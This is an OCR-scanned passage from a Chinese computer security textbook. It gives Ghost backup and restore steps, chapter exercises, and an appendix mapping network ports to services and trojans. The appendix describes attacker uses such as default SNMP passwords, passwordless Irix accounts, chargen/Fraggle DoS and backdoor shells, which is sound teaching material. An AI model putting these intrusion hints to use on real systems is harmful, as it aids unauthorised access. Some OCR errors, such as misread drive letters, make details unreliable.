办 公 软 件 等 ) 安 装 到 系统 所 在 盘 , 接 着 安装 操作 系统 和 常用 软件 的 各 种 升级 补丁 ,然后 优化 
系统 ,最 后 就 在 DOS 下 做 系统 盘 的 备份 。 

(2) 恢复 系统 

当 感觉 系统 运行 缓慢 时 (此 时 多 半 是 由 于 经 常安 装卸 载 软件 ,残留 或 误 删 了 一 些 文件 ， 
导致 系统 亲 乱 )、 系 统 崩溃 时 .中 了 比较 难 杀 除 的 病毒 时 ,就 要 进行 系统 恢复 了 。 

(3) 备份 /恢复 分 区 数据 

(4) 磁盘 碎片 整理 

有 时 如 果 长 时 间 没 整理 磁盘 碎片 ,又 不 想 花 长 时 间 整 理 时 ,也 可 以 先 备份 该 分 区 ,然后 
再 恢复 该 分 区 ,这 样 比 单纯 磁盘 碎片 整理 速度 要 快 。Ghost 备份 分 区 时 ,会 自动 跳 过 分 区 中 
的 空白 部 分 ,只 把 数据 写 到 . gho 映 象 文件 中 。 恢 复 分 区 时 ,Ghost 把 . gho 文件 中 的 内 容 连 
续 写 人 分 区 ,因此 该 分 区 中 就 不 存在 磁盘 碎片 了 。 

(5) 修复 PQ 分 区 产生 的 错误 

当 使 用 PQ 工具 分 区 失败 后 ,会 导致 分 区 (假如 是 下 盘 ) 中 的 文件 消失 ,此 时 可 以 考虑 用 
Ghost 试 着 解决 该 问题 。 先 进入 Ghost, 依 次 选择 Local| Check| Disk 命令 (字体 变 白色 , 注 
意 ,一 定 不 要 选 错 ) , 按 Enter 键 ,开始 检测 。 如 果 检 测 进程 发 现 原 分 区 中 的 文件 , 找 回 数据 
就 有 希望 。 先 用 Ghost 把 F 盘 做 一 个 镜像 文件 保存 在 上 盘 , 然 后 将 下 盘 格 式 化 ,接着 用 
Ghost Explorer 打开 镜像 文件 ,把 其 中 的 文件 提取 到 下 盘 。 


8.3.2 实例: 用 Ghost 备份 分 区 (系统 ) 


下 面 以 备份 C: 盘 为 例 介 绍 Ghost 的 使 用 ,实例 中 的 截图 是 在 Windows 下 运行 Ghost 
11 截取 的 ,读者 需要 根据 实际 情况 选用 Windows 版 Ghost 或 者 DOS 版 Ghost。 

第 1 步 : 使 用 工具 盘 ( 比 如 番茄 花园 /雨林 木 风 / 深 度 安装 盘 ) 进 入 Ghost, 或 者 进入 
DOS ,在 命令 行 执行 Ghost. exe 命令 .启动 Ghost 之 后 ,显示 如 图 8-9 所 示 的 画面 。 

第 2 步 : 在 图 8-9 中 , 单 击 OK 按钮 ,显示 如 图 8-10 所 示 的 画面 。 如 果 没 有 鼠标 ,可 以 
使 用 键盘 进行 操作 : Tab 键 进行 切换 ,方向 键 进行 选择 `Enter 键 进行 确认 。 

主 菜单 项 及 其 说 明 见 表 8-4. 

BAE 当 计算 机 上 没有 安装 网 络 协议 的 驱动 时 ,Peer to peer 和 GhostCast 选项 
将 不 可 用 (在 DOS 下 一 般 都 没有 安装 )。 


主 菜单 项 
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图 8-9 进入 Ghost 图 8-10 ”操作 菜单 


表 8-4 主 菜单 项 及 其 说 明 
说 明 


Local 


本 地 操作 ,对 本 地 计算 机 上 的 硬盘 进行 操作 


Peer to peer 


通过 点 对 点 模式 对 网 络 计算 机 上 的 硬盘 进行 操作 


GhostCast 


通过 单 播 /多 播 或 者 广播 方式 对 网 络 计算 机 上 的 硬盘 进行 操作 


Options 使 用 Ghost 时 的 一 些 选项 ,一 般 使 用 默认 设置 即 可 
Help 一 个 简洁 的 帮助 
Quit 退出 Ghost 


在 菜单 中 选择 Local( 本 地 ) 命 令 ,在 右边 弹出 的 菜单 中 有 3 个 子 命令 ,Local 子 命令 及 


其 说 明 见 表 8-5. 
表 8-5 Local 子 命令 及 其 说 明 
菜单 项 Wo 
Disk 表示 备份 整个 硬盘 ( 即 硬盘 克隆 ) 


Partition | 表示 备份 硬盘 的 单个 分 区 


Check 表示 检查 硬盘 或 备份 的 文件 ,查看 是 否 可 能 因 分 区 ,硬盘 被 破坏 等 造成 备份 或 还 原 失 败 


在 菜单 中 选择 Partition( 分 区 ) 命 令 ,在 右边 弹出 的 菜单 中 有 3 个 子 命令 ,Partition 子 命 
令 及 其 说 明 见 表 8-6 。 


R 8-6 Partition 子 命令 及 其 说 明 


菜单 项 说 明 
To Partion 将 一 个 分 区 的 内 容 复 制 到 另外 一 个 分 区 
To Image 将 一 个 或 多 个 分 区 的 内 容 复 制 到 一 个 镜像 文件 中 。 一 般 备份 系统 均 选 择 此 操作 


From Image 


将 镜像 文件 恢复 到 分 区 中 。 当 系统 备份 后 .可 选择 此 操作 恢复 系统 


ey 
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第 3 步 : 在 图 8-10 中 ,这 里 要 对 本 地 磁盘 进行 操作 ,依次 选择 Local | Partition | To 
Image 命令 ,然后 按 Enter 键 ,显示 如 图 8-11 所 示 的 画面 ,因为 本 系统 只 有 一 块 硬盘 ,所 以 不 
用 选择 硬盘 了 ,直接 按 Enter 键 后 ,显示 如 图 8-12 所 示 的 画面 。 


图 8-11 选择 本 地 硬盘 


图 8-12 选择 要 备份 的 分 区 


第 4 步 : 在 图 8-12 中 ,选择 要 备份 的 分 区 ,在 此 选择 第 一 个 主 分 区 , 即 系统 分 区 
(C: 盘 ), 然 后 单 击 OK 按钮 ,显示 如 图 8-13 所 示 的 画面 。 

第 5 步 : 在 图 8-13 中 ,选择 镜像 文件 存放 的 位 置 ,输入 镜像 文件 名 (WinxpBac) ,然后 单 
击 Save 按钮 ,显示 如 图 8-14 所 示 的 画面 。 


图 8-13 ”选择 镜像 文件 存放 的 位 置 、 输 入 文件 名 图 8-14 "fid; Fast 按钮 开始 备份 


第 6 步 : 在 图 8-14 中 ,给 出 3 个 选择 。 

No: 表示 终止 压缩 备份 操作 。 

Fast. 表示 压缩 比例 小 但 是 备份 速度 较 快 ,一 般 情况 推荐 该 操作 。 

High: 表示 压缩 比例 高 但 是 备份 速度 很 慢 , 如 果 不 是 经 常 执行 备份 与 恢复 操作 ,可 选 该 
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操作 。 

单 击 Fast 按钮 ,整个 备份 过 程 一 般 需 要 几 分 钟 到 十 几 分 钟 不 等 ,具体 时 间 与 要 备份 分 
区 的 数据 多 少 以 及 硬件 速度 等 因素 有 关 , 备 份 完成 后 将 提示 操作 已 经 完成 , 按 Enter 键 后 返 
回 到 Ghost 程序 主 画 面 ,要 退出 Ghost, 选 择 Quit 命令 按 Enter 键 。 

备份 系统 分 区 之 后 ,就 不 需 担 心 因 试用 某 个 软件 或 修改 系统 的 某 些 参 数 导致 系统 崩溃 
了 。 如 果 崩 泪 , 也 能 迅速 将 系统 恢复 成 原始 状态 ,无 须 重 新 安装 程序 或 系统 。 


8.3.3 实例 : 用 Ghost 恢复 系统 


第 1 步 : 在 图 8-10 中 ,依次 选择 Local | Partition| From Image 命令 ,然后 按 Enter 键 ， 
显示 如 图 8-15 所 示 的 画面 。 

第 2 步 : 在 图 8-15 中 ,选择 系统 镜像 文件 (WinxpBac. GHO) ,然后 单 击 Open 按钮 ,在 
随后 显示 的 画面 中 单 击 OK 按钮 ,显示 如 图 8-16 所 示 的 画面 。 


图 8-15 选择 镜像 文件 图 8-16 选择 目的 硬盘 


第 3 步 : 在 图 8-16 中 ,因为 本 系统 只 有 一 块 硬盘 ,所 以 不 用 选择 硬盘 了 ,直接 按 Enter 
键 后 ,显示 如 图 8-17 所 示 的 画面 ,在 图 8-17 中 选择 要 恢复 到 的 分 区 (这 一 步 要 特别 小 心 )， 
在 此 要 将 镜像 文件 (WinxpBac. GHO) 恢 复 到 C: 盘 ( 第 一 个 分 区 ,系统 分 区 ) , 按 Enter fit. 
显示 如 图 8-18 所 示 的 画面 。 


图 8-17 选择 目的 硬盘 中 的 分 区 图 8-18 是 否 恢复 分 区 


(Gg 
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dr 
第 4 步 : 在 图 8-18 中 , 单 击 Yes 按钮 ,开始 恢复 分 区 。 人 恢复 完成 后 ,重新 启动 计算 机 即 可 。 
小 结 


本 章 介绍 了 容 灾 技术 的 基本 概念 .RAID 级 别 及 其 特点 数据 备份 技术 的 基本 概念 以 及 
Ghost 的 使 用 。 通 过 本 章 的 学 习 , 使 读者 理解 容 灾 与 数据 备份 技术 在 信息 安全 领域 有 着 举 
足 轻重 的 地 位 ,在 以 后 的 生活 或 工作 中 ,要 强化 安全 意识 ,采取 有 效 的 容 灾 与 数据 备份 技术 
来 尽 可 能 地 保障 系统 和 数据 的 安全 。 


习 题 


1. 填空 题 


a) 是 指 在 发 生 灾难 性 事故 时 ,能 够 利用 已 备份 的 数据 或 其 他 手段 ,及 时 对 原 
系统 进行 恢复 ,以 保证 数据 的 安全 性 以 及 业务 的 连续 性 。 

(2) 从 技术 上 看 ,衡量 容 灾 系统 有 两 个 主要 指标 : 和 

(3) 威胁 数据 的 安全 ,造成 系统 失效 的 主要 原因 有 S 和 等 。 

(4) 容 灾 可 以 分 为 3 个 级 别 : 和 > 

(5) 一 个 完整 的 容 灾 系统 应 该 包含 3 个 部 分 : 和 F 

C60 对 于 容 灾 系 统 来 说 ,所 包含 的 关键 技术 有 ,灾难 检测 、 系 统 迁移 
和 灾难 恢复 5 个 方面 

(7) 建立 容 灾 备 份 系统 时 会 涉及 多 种 技术 ,如 " 和 等 。 

(8) 目前 RAID 技术 大 致 分 为 两 种 : 和 

(9) — ”就 是 将 数据 以 某 种 方式 加 以 保留 ， 以 全 在 系统 遭受 破坏 或 其 他 特定 情况 
下 ,重新 加 以 利用 的 一 个 过 程 。 

(10) 按 备份 的 数据 量 来 划分 ,有 \ 增 量 备份 和 按 需 备份 。 


2. 思考 与 简 答题 


(1) 简 述 容 灾 的 重要 性 。 

(2) 简 述 导致 系统 灾难 的 原因 。 

(3) 简 述 容 灾 的 级 别 及 其 含义 。 

(4) 简 述 SAN、DAS、NAS, 远 程 镜像 技术 、 虚 拟 存储 、 基 于 IP 的 SAN 的 互联 技术 、 快 
照 技术 等 容 灾 备份 技术 。 

(5) 简 述 数据 备份 的 重要 性 。 

(6) 简 述 容 灾 计 划 所 包括 的 一 系列 应 急 计 划 。 

CD) RAID 有 哪些 级 别 ? 简 述 它们 各 自 的 优 缺 点 。 


3. 上 机 题 


CD 首先 删除 某 分 区 中 的 某 些 数据 ;其 次 使 用 某 种 数据 恢复 工具 来 恢复 被 删除 的 数据 。 
(2) 用 Ghost 备份 系统 。 


附录 ”网络 服务 、 木 马 与 端口 对 照 表 


服务 (端口 ) Wü H 
通常 用 于 分 析 操作 系统 。 这 一 方法 能 够 工作 是 因为 在 一 些 系统 中 0 是 无 效 
Reserved(0) 端口 , 当 试 图 使 用 通常 的 闭合 端口 连接 它 时 将 产生 不 同 的 结果 。 一 种 典型 


的 扫描 ,使 用 IP 地 址 为 0.0.0.0, 设 置 ACK 位 并 在 以 太 网 层 广播 


这 显示 有 人 在 寻找 SGI Irix 机 器 。Irix 是 实现 TCPMUX 的 主要 提供 者 , 默 
认 情 况 下 TCPMUX 在 这 种 系统 中 被 打开 。Irix 机 器 在 发 布 时 含有 几 个 默 
TCPMUX(1) 认 的 无 密码 的 账户 ,如 :IP.GUEST UUCP, NUUCP, DEMOS , TUTOR, 
DIAG,OUTOFBOX 等 。 许 多 管理 员 在 安装 后 忘记 删除 这 些 账户 。 因 此 黑 
客 在 互联 网 上 搜索 TCPMUX 并 利用 这 些 账 户 


能 看 到 许多 人 搜索 Fraggle 放大 器 时 ,发 送 到 X. X. X.0 和 X. X. X.255 


Echo(7) 的 信息 


这 是 一 种 仅仅 发 送 字符 的 服务 。UDP 版 本 将 会 在 收 到 UDP 包 后 回应 含有 
垃圾 字符 的 包 。TCP 连接 时 会 发 送 含 有 垃圾 字符 的 数据 流 直到 连接 关闭 。 
Character Generator(19) | 黑客 利用 IP 欺骗 可 以 发 动 Dos 攻击 。 伪 造 两 个 chargen 服务 器 之 间 的 
UDP 包 。 同 样 Fraggle DoS 攻击 向 目标 地 址 的 这 个 端口 广播 一 个 带 有 伪造 
受害 者 IP 的 数据 包 , 受 害 者 为 了 回应 这 些 数据 而 过 载 


FTP 服务 器 所 开放 的 端口 ,用 于 上 传 .下 载 。 最 常见 的 攻击 者 用 于 寻找 打开 
FTP(21) Anonymous 的 FTP 服务 器 的 方法 。 这 些 服务 器 带 有 可 读 写 的 目录 。 木 马 Doly 
Trojan „Fore, Invisible FTP, WebEx, WinCrash 和 Blade Runner 所 开放 的 端口 


PCAnywhere 建立 的 TCP 和 这 一 端口 的 连接 可 能 是 为 了 寻找 SSH。 这 一 服 


SSH(22) 务 有 许多 弱点 ,如 果 配 置 成 特定 的 模式 ,许多 使 用 RSAREF 库 的 版 本 就 会 
有 不 少 的 漏洞 存在 
远程 登录 ,入 侵 者 在 搜索 远程 登录 UNIX 的 服务 。 大 多 数 情况 下 扫描 这 一 
Telnet(23) 端口 是 为 了 找到 机 器 运行 的 操作 系统 。 还 有 使 用 其 他 技术 ,入 侵 者 也 会 找 


到 密码 。 木 马 Tiny Telnet Server 就 开放 这 个 端口 


SMTP 服务 器 所 开放 的 端口 .用 于 发 送 邮 件 。 入 侵 者 寻找 SMTP 服务 器 是 为 了 
传递 它们 的 SPAM。 入 侵 者 的 账户 被 关闭 ,它们 需要 连接 到 高 带宽 的 Email 服 
务 器 上 ,将 简单 的 信息 传递 到 不 同 的 地 址 。 木 马 Antigen、 E-mail Password 
Sender, Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy 都 开放 这 个 端口 


SMTP(25) 


MSG Authentication(31) | 木马 Master Paradise、 Hackers Paradise 开放 此 端口 


WINS Replication(42) WINS 复制 


Domain Name Server | DNS 服务 器 所 开放 的 端口 ,入 侵 者 可 能 是 试图 进行 区 域 传递 (TCP) ,欺骗 
(DNS) (53) DNSCUDP) 或 隐藏 其 他 的 通信 。 因 此 防火 墙 常常 过 滤 或 记录 此 端口 


计算 机 安全 技术 


服务 (端口 ) 


说 — 8 


Bootstrap Protocol Server 
(67) 


通过 DSL 和 Cable Modem 的 防火 墙 常会 看 见 大 量 发 送 到 广播 地 址 255. 
255.255.255 的 数据 。 这 些 机 器 在 向 DHCP 服务 器 请 求 一 个 地 址 。 黑 客 常 
进入 它们 ,分 配 一 个 地 址 把 自己 作为 局 部 路 由 器 而 发 起 大 量 中 间 人 (man-in- 
middle) 攻 击 。 客 户 端 向 68 端口 广播 请 求 配置 ,服务 器 向 67 端口 广播 回应 
请 求 。 这 种 回应 使 用 广播 是 因为 客户 端 还 不 知道 可 以 发 送 的 IP 地 址 


Trival File Transfer(69) 


许多 服务 器 与 BootP 一 起 提供 这 项 服务 .便于 从 系统 下 载 启动 代码 。 但 是 
它们 常常 由 于 错误 配置 而 使 人 侵 者 能 从 系统 中 窃取 任何 文件 。 它 们 也 可 用 
于 系统 写 人 文件 


Finger Server(79) 


入 侵 者 用 于 获得 用 户 信息 ,查询 操作 系统 ,探测 已 知 的 缓冲 区 溢出 错误 , 回 
应 从 自己 机 器 到 其 他 机 器 Finger 扫描 


HTTP(80) 


用 于 网 页 浏览 。 木 马 Executor 开放 此 端口 


Metagram Relay(99) 


后 门 程序 nex99 开放 此 端口 


Message Transfer Agent 
(MTA)-X. 400 over 
TCP/IP(102) 


消息 传输 代理 


Post Office 
Version 3(109) 


Protocol- 


POP3 服务 器 开放 此 端口 ,用 于 接收 邮件 ,客户 端 访问 服务 器 端的 邮件 服务 。 
POP3 服务 有 许多 公认 的 弱点 。 关 于 用 户 名 和 密码 交换 缓冲 区 溢出 的 弱点 
至 少 有 20 个 ,这 意味 着 人 侵 者 可 以 在 真正 登录 前 进入 系统 。 成 功 登 录 后 还 
有 其 他 缓冲 区 溢出 错误 


SUN 的 RPC 服务 所 有 端 
口 (110) 


常见 RPC 服务 有 rpe. mountd, NFS, rpe. statd , rpe. csmd rpe. ttybd 等 


Authentication Service 


(113) 


这 是 一 个 许多 计算 机 上 运行 的 协议 ,用 于 鉴别 TCP 连接 的 用 户 。 使 用 标准 的 
这 种 服务 可 以 获得 许多 计算 机 的 信息 。 但 是 它 可 作为 许多 服务 的 记录 器 ,万 
其 是 FTP.POP.IMAP,SMTP 和 IRC 等 服务 。 通 常 如 果 有 许多 客户 通过 防火 
墙 访问 这 些 服务 ,将 会 看 到 许多 这 个 端口 的 连接 请 求 。 记 住 , 如 果 阻 断 这 个 端 
口 客 户 端 会 感觉 到 在 防火 墙 另 一 边 与 E-mail 服务 器 的 缓慢 连接 。 许 多 防火 
墙 支持 TCP 连接 的 阻 断 过 程 中 发 回 RST。 这 将 会 停止 缓慢 的 连接 


Network News Transfer 
Protocol(119) 


NEWS 新 闻 组 传输 协议 ,承载 USENET 通信 。 这 个 端口 的 连接 通常 是 人 们 
在 寻找 USENET 服务 器 。 多 数 ISP 限制 ,只 有 它们 的 客户 才能 访问 它们 的 
新 闻 组 服务 器 。 打 开 新 闻 组 服务 器 将 允许 发 / 读 任 何人 的 帖子 ,访问 被 限制 
的 新 闻 组 服务 器 ,匿名 发 帖 或 发 送 SPAM 


Location Service(135) 


Microsoft 在 这 个 端口 运行 DCE RPC End-Point Mapper 为 它 的 DCOM 服 
务 。 这 与 UNIX 111 端口 的 功能 很 相似 。 使 用 DCOM 和 RPC 的 服务 利用 
计算 机 上 的 End-Point Mapper 注册 它们 的 位 置 。 远 端 客户 连接 到 计算 机 
时 ,它们 查找 End-Point Mapper 找到 服务 的 位 置 。 黑 客 扫描 计算 机 的 这 个 
端口 是 为 了 找到 这 台 计 算 机 上 是 否 运行 Exchange Server, 是 什么 版 本 的 ,还 
有 些 DOS 攻击 直接 针对 这 个 端口 


NETBIOS Name Service 
(137,138,139) 


其 中 137,138 是 UDP 端口 , 当 通 过 网 上 邻居 传输 文件 时 用 这 个 端口 。 而 139 
端口 ,通过 这 个 端口 进入 的 连接 试图 获得 NETBIOS/SMB 服务 。 这 个 协议 被 
用 于 Windows 文件 和 打印 机 共享 和 SAMBA。 还 有 WINS Regisrtation 也 用 它 


Internet Mail Access 


Protocol v2(143) 


和 POP3 的 安全 问题 一 样 ,许多 IMAP 服务 器 存在 有 缓冲 区 溢出 漏洞 。 记 
住 :一 种 LINUX 蠕虫 (admv0rm) 会 通过 这 个 端口 繁殖 ,因此 许多 这 个 端口 
的 扫描 来 自 不 知情 的 已 经 被 感染 的 用 户 。 当 RedHat 在 它们 的 LINUX 发 
布 版 本 中 默认 允许 IMAP 后 ,这 些 漏 洞 变 得 很 流行 。 这 一 端口 还 被 用 于 
IMAP2, 但 并 不 流行 


附录 网络 服务 、 木 马 与 端口 对 照 表 


续 表 
服务 (端口 ) 说 明 
SNMP 允许 远程 管理 设备 。 所 有 配置 和 运行 信息 的 储存 在 数据 库 中 ,通过 
SNE SNMP 可 获得 这 些 信息 。 许 多 管理 员 的 错误 配置 将 被 暴露 在 Internet。 黑 


客 将 试图 使 用 默认 的 密码 public、private 访问 系统 。 他 们 可 能 会 试验 所 有 可 
能 的 组 合 。SNMP 包 可 能 会 被 错误 地 指向 用 户 的 网 络 


X Display Manager Control 
Protocol(177) 


入 侵 者 通过 它 访问 X-Windows, 它 同时 需要 打开 6000 端口 


LDAP,ILS(389) 


轻型 目录 访问 协议 和 Net Meeting Internet Locator Server 共用 这 一 端口 


HTTPS(443) 


网 页 浏览 端口 ,能 提供 加 密 和 通过 安全 端口 传输 的 另 一 种 HTTP. 


[LNULL](456) 


木马 HACKERS PARADISE 开放 此 端口 


Login,remote login(513) 


是 从 使 用 Cable Modem 或 DSL 登录 到 子 网 中 的 UNIX 计算 机 发 出 的 广播 。 
这 些 人 为 入 侵 者 进入 他 们 的 系统 提供 了 信息 


[NULL](544) 


kerberos kshell 


Macintosh, File Services 

CAFP/IP) C548) Macintosh ,文件 服务 

CORBA IOP ( UDP) | 使 用 Cable Modem, DSL sk VLAN 将 会 看 到 这 个 端口 的 广播 。CORBA 是 
(553) 一 种 面向 对 象 的 RPC 系统 。 人 和 人 侵 者 可 以 利用 这 些 信息 进入 系统 

DSF(555) 木马 PhAsel. 0,Stealth Spy IniKiller 开放 此 端口 


Membership DPA(568) 


成 员 资格 DPA 


Membership MSN(569) 


成 员 资格 MSN 


Mountd(635) 


Linux 的 Mountd Bug。 这 是 扫描 的 一 个 流行 BUG 


LDAP(636) 


SSL(Secure Sockets Layer) 


Doom Id Software(666) 


木马 Attack FTP、Satanz Backdoor 开放 此 端口 


IMAP(993) 


SSL (Secure Sockets Layer) 


[NULL](1001,1011) 


AH Silencer, WebEx 开放 1001 端口 KZ Doly Trojan 开放 1011 端口 


Reserved(1024) 


它 是 动态 端口 的 开始 ,许多 程序 并 不 在 乎 用 哪个 端口 连接 网 络 ,它们 请 求 系 
统 为 它们 分 配 下 一 个 闲置 端口 。 基 于 这 一 点 分 配 从 端口 1024 开始 。 这 就 
是 说 第 一 个 向 系统 发 出 请 求 的 会 分 配 到 1024 端口 。 可 以 重启 机 器 ,打开 
Telnet, 再 打开 一 个 窗口 运行 natstat-a 将 会 看 到 Telnet 被 分 配 到 1024 端 
口 。 还 有 SQL Session 也 用 此 端口 和 5000 端口 


1025; network blackjack 
1033;[ NULL] 


木马 netspy 开放 这 两 个 端口 


该 协议 以 通道 方式 穿 过 防火 墙 ,允许 防火 墙 后面 的 人 通过 一 个 IP 地 址 访问 
Internet。 理 论 上 它 应 该 只 允许 内 部 的 通信 向 外 到 达 Internet。 但 是 由 于 错 


—— ' 误 的 配置 它 会 允许 位 于 防火 增 外 部 的 攻击 穿 过 防火 墙 。WinGate 常会 发 
生 这 种 错误 ,在 加 入 IRC 聊天 室 时 常会 看 到 这 种 情况 
ENULL] (1170) 木马 Streaming Audio Trojan, Psyber Stream Server, Voice 开放 此 端口 


[NULL ] (1234, 1243, 
6711,6776) 


木马 SubSeven2. 0, Ultors Trojan 开放 1234,6776 端口 。 木 马 SubSevenl. 0/ 


1. 9 开放 1243,6711,6776 端口 


计算 机 安全 技术 


服务 (端口 ) 


说 明 


[NULL](1245) 


木马 Vodoo 开放 此 端口 


SQL(1433) 


Microsoft 的 SQL 服务 开放 的 端口 


Stone-Design-1(1492) 


木马 FTP99CMP 开放 此 端口 


RPC Client Fixed Port 
Session Queries( 1500) 


RPC 客户 固定 端口 会 话 查 询 


NetMeeting T. 120(1503) 


NetMeeting T. 120 


许多 攻击 脚本 将 安装 一 个 后 门 SHELL 于 这 个 端口 ,尤其 是 针对 SUN 系统 
中 Sendmail 和 RPC 服务 漏洞 的 脚本 。 如 果 刚 安装 了 防火 墙 就 看 到 在 这 个 


Ingress(1524) 端口 上 的 连接 企图 ,很 可 能 是 上 述 原 因 。 可 以 试 试 Telnet 到 用 户 的 计算 机 
上 的 这 个 端口 ,看 看 它 是 否 会 给 出 一 个 SHELL。 连 接 到 600/peserver 也 存 
在 这 个 问题 

Issd(1600) 木马 Shivka-Burka 开放 此 端口 


NetMeeting(1720) 


NetMeeting H. 233 Call Setup 


NetMeeting Audio Call 
Control(1731) 


NetMeeting 音频 调用 控制 


LNULL](1807) 


木马 SpySender 开放 此 端口 


LNULL](1981) 


木马 ShockRave 开放 此 端口 


Cisco Identification Port 
(1999) 


木马 BackDoor 开放 此 端口 


[NULL](2000) 


木马 GirlFriend 1.3、Millenium 1.0 开放 此 端口 


LNULL](2001) 


木马 Millenium 1. 0, Trojan Cow 开放 此 端口 


Xinuexpansion 4(2023) 


木马 Pass Ripper 开放 此 端口 


NFS(2049) 


NFS 程序 常 运行 于 这 个 端口 。 通 常 需要 访问 Portmapper 查询 这 个 服务 运 
行 于 哪个 端口 


[NULL](2115) 


木马 Bugs 开放 此 端口 


[NULL](2140、3150) 


木马 Deep Throat 1. 0/3. 0 开放 此 端口 


RPC Client Using a Fixed 
Port Session Replication 
(2500) 


应 用 固定 端口 会 话 复制 的 RPC 客户 


[NULL](2583) 


木马 Wincrash 2. 0 开放 此 端口 


[LNULL](2801) 


木马 Phineas Phucker 开放 此 端口 


LNULL](3024、4092) 


木马 WinCrash 开放 此 端口 


Squid(3128) 


Squid HTTP 代理 服务 器 的 默认 端口 。 扫 描 这 个 端口 是 为 了 搜寻 一 个 代理 
服务 器 而 匿名 访问 Internet。 扫 描 这 个 端口 的 另 一 个 原因 是 用 户 正在 进入 
聊天 室 。 其 他 用 户 也 会 检验 这 个 端口 以 确定 用 户 的 机 器 是 否 支持 代理 


[NULL](3129) 


木马 Master Paradise 开放 此 端口 


[NULL](3150) 


木马 The Invasor 开放 此 端口 


附录 ”网络 服务 、 木 马 与 端口 对 照 表 


续 表 
服务 (端口 ) 说 明 

[NULL](3210、4321) 木马 SchoolBus 开放 此 端口 
Dec-Notes(3333) 木马 Prosiak 开放 此 端口 
超级 终端 (3389) Windows 2000 终端 开放 此 端口 

[NULL](3700) 木马 Portal of Doom 开放 此 端口 

[NULL](3996、4060) 木马 RemoteAnything 开放 此 端口 
QQ 客户 端 (4000) 腾讯 QQ 客户 端 开放 此 端口 

NULL](4092) 木马 WinCrash 开放 此 端口 

NULL](4590) 木马 ICQTrojan 开放 此 端口 


5321,50505) 


NULL ] (5000, 5001, 


木马 Blazer5 开放 5000 端口 。 木 马 Sockets de Troie 开放 5000,5001,5321, 
50505 端口 


[ NULL ](5400,5401,5402) 


木马 Blade Runner 开放 此 端口 


[LNULL](5550) 


木马 Xtcp 开放 此 端口 


[LNULL](5569) 


木马 Robo-Hack 开放 此 端口 


PCAnywere(5632) 


有 时 会 看 到 很 多 这 个 端口 的 扫描 ,这 依赖 于 用 户 所 在 的 位 置 。 当 用 户 打开 
PCAnywere 时 , 它 会 自动 扫描 局 域 网 C 类 网 址 以 寻找 可 能 的 代理 (这 里 的 代 
理 是 指 Agent 而 不 是 Proxy)。 入 侵 者 也 会 寻找 开放 这 种 服务 的 计算 机 ,所 
以 应 该 查看 这 种 扫描 的 源 地 址 。 一 些 搜寻 PCAnywere 的 扫描 包 常 含 端口 
22 的 UDP 数据 包 


[NULL](5742) 


木马 WinCrashl. 03 开放 此 端口 


[NULL](6267) 


木马 * 广 外 女生 ”开放 此 端口 


[NULL](6400) 


木马 The tHing 开放 此 端口 


[NULL ](6670,6671) 


木马 Deep Throat 开放 6670 端口 ifj Deep Throat 3. 0 开放 6671 端口 


[ NULL ](6883) 


木马 DeltaSource 开放 此 端口 


[LNULL](6969) 


木马 Gatecrasher Priority 开放 此 端口 


RealAudio(6970) 


RealAudio 客户 将 从 服务 器 的 6970 一 7170 的 UDP 端口 接收 音频 数据 流 。 
这 是 由 TCP-7070 端口 外 向 控制 连接 设置 的 


NULL](7000) 


木马 Remote Grab 开放 此 端口 


7306,7307,7308) 


NULL ] (7300, 7301, 


木马 NetMonitor 开放 此 端口 。NetSpy1.0 开放 7306 端口 


[NULL](7323) Sygate 服务 器 端 
[NULL](7626) 木马 Giscier 开放 此 端口 
[NULL](7789) 木马 ICKiller 开放 此 端口 
OICQ(8000) 腾讯 QQ 服务 器 端 开 放 此 端口 
Wingate(8010) Wingate 代理 开放 此 端口 
代理 端口 (8080) WWW 代理 开放 此 端口 
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